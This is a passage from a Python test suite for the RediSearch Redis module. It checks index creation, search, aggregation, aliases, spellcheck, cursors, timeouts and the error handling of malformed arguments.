'schema', 't', 'TEXT') for i in range(num_range): env.expect('HSET', 'doc%d'%i, 't', 'aa' + str(i)) env.expect('ft.search', 'myIdx', 'aa*|aa*|aa*|aa* aa*', 'limit', '0', '0').noEqual([num_range]) env.expect('ft.config', 'set', 'on_timeout', 'fail').ok() env.expect('ft.search', 'myIdx', 'aa*|aa*|aa*|aa* aa*', 'limit', '0', '0') \ .contains('Timeout limit was reached') res = env.cmd('ft.search', 'myIdx', 'aa*|aa*|aa*|aa* aa*', 'timeout', 1000) env.assertEqual(res[0], num_range) # test erroneous params env.expect('ft.search', 'myIdx', 'aa*|aa*|aa*|aa* aa*', 'timeout').error() env.expect('ft.search', 'myIdx', 'aa*|aa*|aa*|aa* aa*', 'timeout', -1).error() env.expect('ft.search', 'myIdx', 'aa*|aa*|aa*|aa* aa*', 'timeout', 'STR').error() # test cursor res = env.cmd('FT.AGGREGATE', 'myIdx', 'aa*', 'WITHCURSOR', 'count', 50, 'timeout', 50) l = len(res[0]) - 1 # do not count the number of results (the first element in the results) cursor = res[1] time.sleep(0.01) while cursor != 0: r, cursor = env.cmd('FT.CURSOR', 'READ', 'myIdx', str(cursor)) l += (len(r) - 1) env.assertEqual(l, 1000) def testAlias(env): conn = getConnectionByEnv(env) env.cmd('ft.create', 'idx', 'ON', 'HASH', 'PREFIX', 1, 'doc1', 'schema', 't1', 'text') env.cmd('ft.create', 'idx2', 'ON', 'HASH', 'PREFIX', 1, 'doc2', 'schema', 't1', 'text') env.expect('ft.aliasAdd', 'myIndex').raiseError() env.expect('ft.aliasupdate', 'fake_alias', 'imaginary_alias', 'Too_many_args').raiseError() env.cmd('ft.aliasAdd', 'myIndex', 'idx') env.cmd('ft.add', 'myIndex', 'doc1', 1.0, 'fields', 't1', 'hello') r = env.cmd('ft.search', 'idx', 'hello') env.assertEqual([1, 'doc1', ['t1', 'hello']], r) r2 = env.cmd('ft.search', 'myIndex', 'hello') env.assertEqual(r, r2) # try to add the same alias again; should be an error env.expect('ft.aliasAdd', 'myIndex', 'idx2').raiseError() env.expect('ft.aliasAdd', 'alias2', 'idx').notRaiseError() # now delete the index env.cmd('ft.drop', 'myIndex') # RS2 does not delete doc on ft.drop conn.execute_command('DEL', 'doc1') # index list should be cleared now. This can be tested by trying to alias # the old alias to different index env.cmd('ft.aliasAdd', 'myIndex', 'idx2') env.cmd('ft.aliasAdd', 'alias2', 'idx2') env.cmd('ft.add', 'myIndex', 'doc2', 1.0, 'fields', 't1', 'hello') r = env.cmd('ft.search', 'alias2', 'hello') env.assertEqual([1L, 'doc2', ['t1', 'hello']], r) # check that aliasing one alias to another returns an error. This will # end up being confusing env.expect('ft.aliasAdd', 'alias3', 'myIndex').raiseError() # check that deleting the alias works as expected env.expect('ft.aliasDel', 'myIndex').notRaiseError() env.expect('ft.search', 'myIndex', 'foo').raiseError() # create a new index and see if we can use the old name env.cmd('ft.create', 'idx3', 'ON', 'HASH', 'PREFIX', 1, 'doc3', 'schema', 't1', 'text') env.cmd('ft.add', 'idx3', 'doc3', 1.0, 'fields', 't1', 'foo') env.cmd('ft.aliasAdd', 'myIndex', 'idx3') # also, check that this works in rdb save for _ in env.retry_with_rdb_reload(): waitForIndex(env, 'myIndex') r = env.cmd('ft.search', 'myIndex', 'foo') env.assertEqual([1L, 'doc3', ['t1', 'foo']], r) # Check that we can move an alias from one index to another env.cmd('ft.aliasUpdate', 'myIndex', 'idx2') r = env.cmd('ft.search', 'myIndex', "hello") env.assertEqual([1L, 'doc2', ['t1', 'hello']], r) # Test that things like ft.get, ft.aggregate, etc. work r = env.cmd('ft.get', 'myIndex', 'doc2') env.assertEqual(['t1', 'hello'], r) r = env.cmd('ft.aggregate', 'myIndex', 'hello', 'LOAD', '1', '@t1') env.assertEqual([1, ['t1', 'hello']], r) # Test update env.expect('ft.aliasAdd', 'updateIndex', 'idx3') env.expect('ft.aliasUpdate', 'updateIndex', 'fake_idx') r = env.cmd('ft.del', 'idx2', 'doc2') env.assertEqual(1, r) env.expect('ft.aliasdel').raiseError() env.expect('ft.aliasdel', 'myIndex', 'yourIndex').raiseError() env.expect('ft.aliasdel', 'non_existing_alias').raiseError() def testNoCreate(env): env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'f1', 'text') env.expect('ft.add', 'idx', 'schema', 'f1').raiseError() env.expect('ft.add', 'idx', 'doc1', 1, 'nocreate', 'fields', 'f1', 'hello').raiseError() env.expect('ft.add', 'idx', 'doc1', 1, 'replace', 'nocreate', 'fields', 'f1', 'hello').raiseError() env.expect('ft.add', 'idx', 'doc1', 1, 'replace', 'fields', 'f1', 'hello').notRaiseError() env.expect('ft.add', 'idx', 'doc1', 1, 'replace', 'nocreate', 'fields', 'f1', 'world').notRaiseError() def testSpellCheck(env): env.cmd('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'report', 'TEXT') env.cmd('FT.ADD', 'idx', 'doc1', 1.0, 'FIELDS', 'report', 'report content') rv = env.cmd('FT.SPELLCHECK', 'idx', '111111') env.assertEqual([['TERM', '111111', []]], rv) if not env.isCluster(): rv = env.cmd('FT.SPELLCHECK', 'idx', '111111', 'FULLSCOREINFO') env.assertEqual([1L, ['TERM', '111111', []]], rv) # Standalone functionality def testIssue484(env): # Issue with split # 127.0.0.1:6379> ft.drop productSearch1 # OK # 127.0.0.1:6379> "FT.CREATE" "productSearch1" "NOSCOREIDX" "SCHEMA" "productid" "TEXT" "categoryid" "TEXT" "color" "TEXT" "timestamp" "NUMERIC" # OK # 127.0.0.1:6379> "FT.ADD" "productSearch1" "GUID1" "1.0" "REPLACE" "FIELDS" "productid" "1" "categoryid" "cars" "color" "blue" "categoryType" 0 # OK # 127.0.0.1:6379> "FT.ADD" "productSearch1" "GUID2" "1.0" "REPLACE" "FIELDS" "productid" "1" "categoryid" "small cars" "color" "white" "categoryType" 0 # OK # 127.0.0.1:6379> "FT.ADD" "productSearch1" "GUID3" "1.0" "REPLACE" "FIELDS" "productid" "2" "categoryid" "Big cars" "color" "white" "categoryType" 0 # OK # 127.0.0.1:6379> "FT.ADD" "productSearch1" "GUID4" "1.0" "REPLACE" "FIELDS" "productid" "2" "categoryid" "Big cars" "color" "green" "categoryType" 0 # OK # 127.0.0.1:6379> "FT.ADD" "productSearch1" "GUID5" "1.0" "REPLACE" "FIELDS" "productid" "3" "categoryid" "cars" "color" "blue" "categoryType" 0 # OK # 127.0.0.1:6379> FT.AGGREGATE productSearch1 * load 2 @color @categoryid APPLY "split(format(\"%s-%s\",@color,@categoryid),\"-\")" as value GROUPBY 1 @value REDUCE COUNT 0 as value_count env.cmd('ft.create', 'productSearch1', 'noscoreidx', 'ON', 'HASH', 'schema', 'productid', 'text', 'categoryid', 'text', 'color', 'text', 'timestamp', 'numeric') env.cmd('ft.add', 'productSearch1', 'GUID1', '1.0', 'REPLACE', 'FIELDS', 'productid', '1', 'categoryid', 'cars', 'color', 'blue', 'categoryType', 0) env.cmd('ft.add', 'productSearch1', 'GUID2', '1.0', 'REPLACE', 'FIELDS', 'productid', '1', 'categoryid', 'small cars', 'color', 'white', 'categoryType', 0) env.cmd('ft.add', 'productSearch1', 'GUID3', '1.0', 'REPLACE', 'FIELDS', 'productid', '2', 'categoryid', 'Big cars', 'color', 'white', 'categoryType', 0) env.cmd('ft.add', 'productSearch1', 'GUID4', '1.0', 'REPLACE', 'FIELDS', 'productid', '2', 'categoryid', 'Big cars', 'color', 'green', 'categoryType', 0) env.cmd('ft.add', 'productSearch1', 'GUID5', '1.0', 'REPLACE', 'FIELDS', 'productid', '3', 'categoryid', 'cars', 'color', 'blue', 'categoryType', 0) res = env.cmd('FT.AGGREGATE', 'productSearch1', '*', 'load', '2', '@color', '@categoryid', 'APPLY', 'split(format("%s-%s",@color,@categoryid),"-")', 'as', 'value', 'GROUPBY', '1', '@value', 'REDUCE', 'COUNT', '0', 'as', 'value_count', 'SORTBY', '4', '@value_count', 'DESC', '@value', 'ASC') expected = [6, ['value', 'white', 'value_count', '2'], ['value', 'cars', 'value_count', '2'], ['value', 'small cars', 'value_count', '1'], ['value', 'blue', 'value_count', '2'], ['value', 'Big cars', 'value_count', '2'], ['value', 'green', 'value_count', '1']] assertAggrowsEqual(env, expected, res) for var in expected: env.assertIn(var, res) def testIssue501(env): env.cmd('FT.CREATE', 'incidents', 'ON', 'HASH', 'SCHEMA', 'report', 'TEXT') env.cmd('FT.ADD', 'incidents', 'doc1', 1.0, 'FIELDS', 'report', 'report content') env.cmd('FT.DICTADD', 'slang', 'timmies', 'toque', 'toonie', 'serviette', 'kerfuffle', 'chesterfield') rv = env.cmd('FT.SPELLCHECK', 'incidents', 'qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq', 'TERMS', 'INCLUDE', 'slang', 'TERMS', 'EXCLUDE', 'slang') env.assertEqual("qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq", rv[0][1]) env.assertEqual([], rv[0][2]) env.expect('FT.SPELLCHECK', 'incidents', 'qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq', 'TERMS', 'FAKE_COMMAND', 'slang').error() def testIssue589(env): env.cmd('FT.CREATE', 'incidents', 'ON', 'HASH', 'SCHEMA', 'report', 'TEXT') env.cmd('FT.ADD', 'incidents', 'doc1', 1.0, 'FIELDS', 'report', 'report content') env.expect('FT.SPELLCHECK', 'incidents', 'report :').error().contains("Syntax error at offset") def testIssue621(env): env.expect('ft.create', 'test', 'ON', 'HASH', 'SCHEMA', 'uuid', 'TAG', 'title', 'TEXT').equal('OK') env.expect('ft.add', 'test', 'a', '1', 'REPLACE', 'PARTIAL', 'FIELDS', 'uuid', 'foo', 'title', 'bar').equal('OK') env.expect('ft.add', 'test', 'a', '1', 'REPLACE', 'PARTIAL', 'FIELDS', 'title', 'bar').equal('OK') res = env.cmd('ft.search', 'test', '@uuid:{foo}') env.assertEqual(toSortedFlatList(res), toSortedFlatList([1L, 'a', ['uuid', 'foo', 'title', 'bar']])) # Server crash on doc names that conflict with index keys #666 # again this test is not relevant cause index is out of key space # def testIssue666(env): # # We cannot reliably determine that any error will occur in cluster mode # # because of the key name # env.skipOnCluster() # env.cmd('ft.create', 'foo', 'schema', 'bar', 'text') # env.cmd('ft.add', 'foo', 'mydoc', 1, 'fields', 'bar', 'one two three') # # crashes here # with env.assertResponseError(): # env.cmd('ft.add', 'foo', 'ft:foo/two', '1', 'fields', 'bar', 'four five six') # # try with replace: # with env.assertResponseError(): # env.cmd('ft.add', 'foo', 'ft:foo/two', '1', 'REPLACE', # 'FIELDS', 'bar', 'four five six') # with env.assertResponseError(): # env.cmd('ft.add', 'foo', 'idx:foo', '1', 'REPLACE', # 'FIELDS', 'bar', 'four five six') # env.cmd('ft.add', 'foo', 'mydoc1', 1, 'fields', 'bar', 'four five six') # 127.0.0.1:6379> flushdb # OK # 127.0.0.1:6379> ft.create foo SCHEMA bar text # OK # 127.0.0.1:6379> ft.add foo mydoc 1 FIELDS bar "one two three" # OK # 127.0.0.1:6379> keys * # 1) "mydoc" # 2) "ft:foo/one" # 3) "idx:foo" # 4) "ft:foo/two" # 5) "ft:foo/three" # 127.0.0.1:6379> ft.add foo "ft:foo/two" 1 FIELDS bar "four five six" # Could not connect to Redis at 127.0.0.1:6379: Connection refused def testPrefixDeletedExpansions(env): env.skipOnCluster() env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'txt1', 'text', 'tag1', 'tag') # get the number of maximum expansions maxexpansions = int(env.cmd('ft.config', 'get', 'MAXEXPANSIONS')[0][1]) for x in range(maxexpansions): env.cmd('ft.add', 'idx', 'doc{}'.format(x), 1, 'fields', 'txt1', 'term{}'.format(x), 'tag1', 'tag{}'.format(x)) for x in range(maxexpansions): env.cmd('ft.del', 'idx', 'doc{}'.format(x)) env.cmd('ft.add', 'idx', 'doc_XXX', 1, 'fields', 'txt1', 'termZZZ', 'tag1', 'tagZZZ') # r = env.cmd('ft.search', 'idx', 'term*') # print(r) # r = env.cmd('ft.search', 'idx', '@tag1:{tag*}') # print(r) tmax = time.time() + 0.5 # 250ms max iters = 0 while time.time() < tmax: iters += 1 env.cmd('ft.debug', 'gc_forceinvoke', 'idx') r = env.cmd('ft.search', 'idx', '@txt1:term* @tag1:{tag*}') if r[0]: break # print 'did {} iterations'.format(iters) r = env.cmd('ft.search', 'idx', '@txt1:term* @tag1:{tag*}') env.assertEqual(toSortedFlatList([1, 'doc_XXX', ['txt1', 'termZZZ', 'tag1', 'tagZZZ']]), toSortedFlatList(r)) def testOptionalFilter(env): env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 't1', 'text') for x in range(100): env.cmd('ft.add', 'idx', 'doc_{}'.format(x), 1, 'fields', 't1', 'hello world word{}'.format(x)) env.cmd('ft.explain', 'idx', '(~@t1:word20)') # print(r) r = env.cmd('ft.search', 'idx', '~(word20 => {$weight: 2.0})') def testIssue736(env): #for new RS 2.0 ft.add does not return certian errors env.skip() # 1. create the schema, we need a tag field env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 't1', 'text', 'n2', 'numeric', 't2', 'tag') # 2. create a single document to initialize at least one RSAddDocumentCtx env.cmd('ft.add', 'idx', 'doc1', 1, 'fields', 't1', 'hello', 't2', 'foo, bar') # 3. create a second document with many filler fields to force a realloc: extra_fields = [] for x in range(20): extra_fields += ['nidx_fld{}'.format(x), 'val{}'.format(x)] extra_fields += ['n2', 'not-a-number', 't2', 'random, junk'] with env.assertResponseError(): env.cmd('ft.add', 'idx', 'doc2', 1, 'fields', *extra_fields) def testCriteriaTesterDeactivated(): env = Env(moduleArgs='_MAX_RESULTS_TO_UNSORTED_MODE 1') env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 't1', 'text') env.cmd('ft.add', 'idx', 'doc1', 1, 'fields', 't1', 'hello1 hey hello2') env.cmd('ft.add', 'idx', 'doc2', 1, 'fields', 't1', 'hello2 hey') env.cmd('ft.add', 'idx', 'doc3', 1, 'fields', 't1', 'hey') expected_res = sorted([2L, 'doc1', ['t1', 'hello1 hey hello2'], 'doc2', ['t1', 'hello2 hey']]) actual_res = sorted(env.cmd('ft.search', 'idx', '(hey hello1)|(hello2 hey)')) env.assertEqual(expected_res, actual_res) def testIssue828(env): env.cmd('ft.create', 'beers', 'ON', 'HASH', 'SCHEMA', 'name', 'TEXT', 'PHONETIC', 'dm:en', 'style', 'TAG', 'SORTABLE', 'abv', 'NUMERIC', 'SORTABLE') rv = env.cmd("FT.ADD", "beers", "802", "1.0", "FIELDS", "index", "25", "abv", "0.049", "name", "Hell or High Watermelon Wheat (2009)", "style", "Fruit / Vegetable Beer") env.assertEqual('OK', rv) def testIssue862(env): env.cmd('ft.create', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT', 'SORTABLE') rv = env.cmd("FT.ADD", "idx", "doc1", "1.0", "FIELDS", "test", "foo") env.assertEqual('OK', rv) env.cmd("FT.SEARCH", "idx", "foo", 'WITHSORTKEYS') env.assertTrue(env.isUp()) def testIssue_884(env): env.expect('FT.create', 'idx', 'ON', 'HASH', 'STOPWORDS', '0', 'SCHEMA', 'title', 'text', 'weight', '50', 'subtitle', 'text', 'weight', '10', 'author', 'text', 'weight', '10', 'description', 'text', 'weight', '20').equal('OK') env.expect('FT.ADD', 'idx', 'doc4', '1.0', 'FIELDS', 'title', 'mohsin conversation the conversation tahir').equal('OK') env.expect('FT.ADD', 'idx', 'doc3', '1.0', 'FIELDS', 'title', 'Fareham Civilization Church - Sermons and conversations mohsin conversation the').equal('OK') env.expect('FT.ADD', 'idx', 'doc2', '1.0', 'FIELDS', 'title', 'conversation the conversation - a drama about conversation, the science of conversation.').equal('OK') env.expect('FT.ADD', 'idx', 'doc1', '1.0', 'FIELDS', 'title', 'mohsin conversation with the mohsin').equal('OK') expected = [2L, 'doc2', ['title', 'conversation the conversation - a drama about conversation, the science of conversation.'], 'doc4', ['title', 'mohsin conversation the conversation tahir']] res = env.cmd('FT.SEARCH', 'idx', '@title:(conversation) (@title:(conversation the conversation))=>{$inorder: true;$slop: 0}') env.assertEquals(len(expected), len(res)) for v in expected: env.assertContains(v, res) def testIssue_848(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test1', 'TEXT', 'SORTABLE').equal('OK') env.expect('FT.ADD', 'idx', 'doc1', '1.0', 'FIELDS', 'test1', 'foo').equal('OK') env.expect('FT.ALTER', 'idx', 'SCHEMA', 'ADD', 'test2', 'TEXT', 'SORTABLE').equal('OK') env.expect('FT.ADD', 'idx', 'doc2', '1.0', 'FIELDS', 'test1', 'foo', 'test2', 'bar').equal('OK') env.expect('FT.SEARCH', 'idx', 'foo', 'SORTBY', 'test2', 'ASC').equal([2L, 'doc1', ['test1', 'foo'], 'doc2', ['test2', 'bar', 'test1', 'foo']]) def testMod_309(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT', 'SORTABLE').equal('OK') for i in range(100000): env.expect('FT.ADD', 'idx', 'doc%d'%i, '1.0', 'FIELDS', 'test', 'foo').equal('OK') res = env.cmd('FT.AGGREGATE', 'idx', 'foo') env.assertEqual(len(res), 100001) # test with cursor res = env.cmd('FT.AGGREGATE', 'idx', 'foo', 'WITHCURSOR') l = len(res[0]) - 1 # do not count the number of results (the first element in the results) cursor = res[1] while cursor != 0: r, cursor = env.cmd('FT.CURSOR', 'READ', 'idx', str(cursor)) l += (len(r) - 1) env.assertEqual(l, 100000) def testIssue_865(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', '1', 'TEXT', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', '1', 'foo1').equal('OK') env.expect('ft.add', 'idx', 'doc2', '1.0', 'FIELDS', '1', 'foo2').equal('OK') env.expect('ft.search', 'idx', 'foo*', 'SORTBY', '1', 'ASC').equal([2, 'doc1', ['1', 'foo1'], 'doc2', ['1', 'foo2']]) env.expect('ft.search', 'idx', 'foo*', 'SORTBY', '1', 'DESC').equal([2, 'doc2', ['1', 'foo2'], 'doc1', ['1', 'foo1']]) env.expect('ft.search', 'idx', 'foo*', 'SORTBY', '1', 'bad').error() env.expect('ft.search', 'idx', 'foo*', 'SORTBY', 'bad', 'bad').error() env.expect('ft.search', 'idx', 'foo*', 'SORTBY', 'bad').error() env.expect('ft.search', 'idx', 'foo*', 'SORTBY').error() def testIssue_779(env): # FT.ADD should return NOADD and not change the doc if value < same_value, but it returns OK and makes the change. # Note that "greater than" ">" does not have the same bug. env.cmd('FT.CREATE idx2 ON HASH SCHEMA ot1 TAG') env.cmd('FT.ADD idx2 doc2 1.0 FIELDS newf CAT ot1 4001') res = env.cmd('FT.GET idx2 doc2') env.assertEqual(toSortedFlatList(res), toSortedFlatList(["newf", "CAT", "ot1", "4001"])) # NOADD is expected since 4001 is not < 4000, and no updates to the doc2 is expected as a result env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if @ot1<4000 FIELDS newf DOG ot1 4000', 'NOADD') res = env.cmd('FT.GET idx2 doc2') env.assertEqual(toSortedFlatList(res), toSortedFlatList(["newf", "CAT", "ot1", "4001"])) # OK is expected since 4001 < 4002 and the doc2 is updated env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if @ot1<4002 FIELDS newf DOG ot1 4002').equal('OK') res = env.cmd('FT.GET idx2 doc2') env.assertEqual(toSortedFlatList(res), toSortedFlatList(["newf", "DOG", "ot1", "4002"])) # OK is NOT expected since 4002 is not < 4002 # We expect NOADD and doc2 update; however, we get OK and doc2 updated # After fix, @ot1 implicitly converted to a number, thus we expect NOADD env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if @ot1<4002 FIELDS newf FISH ot1 4002').equal('NOADD') env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if to_number(@ot1)<4002 FIELDS newf FISH ot1 4002').equal('NOADD') env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if @ot1<to_str(4002) FIELDS newf FISH ot1 4002').equal('NOADD') res = env.cmd('FT.GET idx2 doc2') env.assertEqual(toSortedFlatList(res), toSortedFlatList(["newf", "DOG", "ot1", "4002"])) # OK and doc2 update is expected since 4002 < 4003 env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if @ot1<4003 FIELDS newf HORSE ot1 4003').equal('OK') res = env.cmd('FT.GET idx2 doc2') env.assertEqual(toSortedFlatList(res), toSortedFlatList(["newf", "HORSE", "ot1", "4003"])) # Expect NOADD since 4003 is not > 4003 env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if @ot1>4003 FIELDS newf COW ot1 4003').equal('NOADD') env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if 4003<@ot1 FIELDS newf COW ot1 4003').equal('NOADD') # Expect OK and doc2 updated since 4003 > 4002 env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if @ot1>4002 FIELDS newf PIG ot1 4002').equal('OK') res = env.cmd('FT.GET idx2 doc2') env.assertEqual(toSortedFlatList(res), toSortedFlatList(["newf", "PIG", "ot1", "4002"])) # Syntax errors env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if @ot1<4-002 FIELDS newf DOG ot1 4002').contains('Syntax error') env.expect('FT.ADD idx2 doc2 1.0 REPLACE PARTIAL if @ot1<to_number(4-002) FIELDS newf DOG ot1 4002').contains('Syntax error') def testUnknownSymbolErrorOnConditionalAdd(env): env.expect('FT.CREATE idx ON HASH SCHEMA f1 TAG f2 NUMERIC NOINDEX f3 TAG NOINDEX').ok() env.expect('ft.add idx doc1 1.0 REPLACE PARTIAL IF @f1<awfwaf FIELDS f1 foo f2 1 f3 boo').ok() env.expect('ft.add idx doc1 1.0 REPLACE PARTIAL IF @f1<awfwaf FIELDS f1 foo f2 1 f3 boo').error() def testWrongResultsReturnedBySkipOptimization(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'f1', 'TEXT', 'f2', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'f1', 'foo', 'f2', 'bar').equal('OK') env.expect('ft.add', 'idx', 'doc2', '1.0', 'FIELDS', 'f1', 'moo', 'f2', 'foo').equal('OK') env.expect('ft.search', 'idx', 'foo @f2:moo').equal([0L]) def testErrorWithApply(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT', 'SORTABLE').equal('OK') env.expect('FT.ADD', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo bar').equal('OK') err = env.cmd('FT.AGGREGATE', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'split()')[1] env.assertEqual(str(err[0]), 'Invalid number of arguments for split') def testSummerizeWithAggregateRaiseError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo1').equal('OK') env.expect('ft.add', 'idx', 'doc2', '1.0', 'FIELDS', 'test', 'foo2').equal('OK') env.expect('ft.aggregate', 'idx', 'foo2', 'SUMMARIZE', 'FIELDS', '1', 'test', 'GROUPBY', '1', '@test', 'REDUCE', 'COUNT', '0').error() def testSummerizeHighlightParseError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo1').equal('OK') env.expect('ft.add', 'idx', 'doc2', '1.0', 'FIELDS', 'test', 'foo2').equal('OK') env.expect('ft.search', 'idx', 'foo2', 'SUMMARIZE', 'FIELDS', 'WITHSCORES').error() env.expect('ft.search', 'idx', 'foo2', 'HIGHLIGHT', 'FIELDS', 'WITHSCORES').error() def testCursorBadArgument(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo1').equal('OK') env.expect('ft.add', 'idx', 'doc2', '1.0', 'FIELDS', 'test', 'foo2').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'GROUPBY', '1', '@test', 'REDUCE', 'COUNT', '0', 'WITHCURSOR', 'COUNT', 'BAD').error() def testLimitBadArgument(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo1').equal('OK') env.expect('ft.add', 'idx', 'doc2', '1.0', 'FIELDS', 'test', 'foo2').equal('OK') env.expect('ft.search', 'idx', '*', 'LIMIT', '1').error() def testOnTimeoutBadArgument(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo1').equal('OK') env.expect('ft.add', 'idx', 'doc2', '1.0', 'FIELDS', 'test', 'foo2').equal('OK') env.expect('ft.search', 'idx', '*', 'ON_TIMEOUT', 'bad').error() def testAggregateSortByWrongArgument(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo1').equal('OK') env.expect('ft.add', 'idx', 'doc2', '1.0', 'FIELDS', 'test', 'foo2').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'SORTBY', 'bad').error() def testAggregateSortByMaxNumberOfFields(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test1', 'TEXT', 'SORTABLE', 'test2', 'TEXT', 'SORTABLE', 'test3', 'TEXT', 'SORTABLE', 'test4', 'TEXT', 'SORTABLE', 'test5', 'TEXT', 'SORTABLE', 'test6', 'TEXT', 'SORTABLE', 'test7', 'TEXT', 'SORTABLE', 'test8', 'TEXT', 'SORTABLE', 'test9', 'TEXT', 'SORTABLE' ).equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo1').equal('OK') env.expect('ft.add', 'idx', 'doc2', '1.0', 'FIELDS', 'test', 'foo2').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'SORTBY', '9', *['@test%d' % (i + 1) for i in range(9)]).error() args = ['@test%d' % (i + 1) for i in range(8)] + ['bad'] env.expect('ft.aggregate', 'idx', '*', 'SORTBY', '9', *args).error() args = ['@test%d' % (i + 1) for i in range(8)] + ['ASC', 'MAX', 'bad'] env.expect('ft.aggregate', 'idx', '*', 'SORTBY', '9', *args).error() args = ['@test%d' % (i + 1) for i in range(8)] + ['ASC', 'MAX'] env.expect('ft.aggregate', 'idx', '*', 'SORTBY', '9', *args).error() def testNumericFilterError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'NUMERIC', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', '1').equal('OK') env.expect('ft.search', 'idx', '*', 'FILTER', 'test', 'bad', '2').error() env.expect('ft.search', 'idx', '*', 'FILTER', 'test', '0', 'bad').error() env.expect('ft.search', 'idx', '*', 'FILTER', 'test', '0').error() env.expect('ft.search', 'idx', '*', 'FILTER', 'test', 'bad').error() env.expect('ft.search', 'idx', '*', 'FILTER', 'test', '0', '2', 'FILTER', 'test', '0', 'bla').error() def testGeoFilterError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'NUMERIC', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', '1').equal('OK') env.expect('ft.search', 'idx', '*', 'GEOFILTER', 'test', '1').error() env.expect('ft.search', 'idx', '*', 'GEOFILTER', 'test', 'bad' , '2', '3', 'km').error() env.expect('ft.search', 'idx', '*', 'GEOFILTER', 'test', '1' , 'bad', '3', 'km').error() env.expect('ft.search', 'idx', '*', 'GEOFILTER', 'test', '1' , '2', 'bad', 'km').error() env.expect('ft.search', 'idx', '*', 'GEOFILTER', 'test', '1' , '2', '3', 'bad').error() def testReducerError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'NUMERIC', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', '1').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'GROUPBY', '1', '@test', 'REDUCE', 'COUNT', 'bad').error() env.expect('ft.aggregate', 'idx', '*', 'GROUPBY', '1', '@test', 'REDUCE', 'COUNT', '0', 'as').error() def testGroupbyError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'NUMERIC', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', '1').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'GROUPBY', '1', '@test', 'REDUCE').error() if not env.isCluster(): # todo: remove once fix on coordinator env.expect('ft.aggregate', 'idx', '*', 'GROUPBY', '1', '@test1').error() env.expect('ft.aggregate', 'idx', '*', 'GROUPBY', '1', '@test', 'REDUCE', 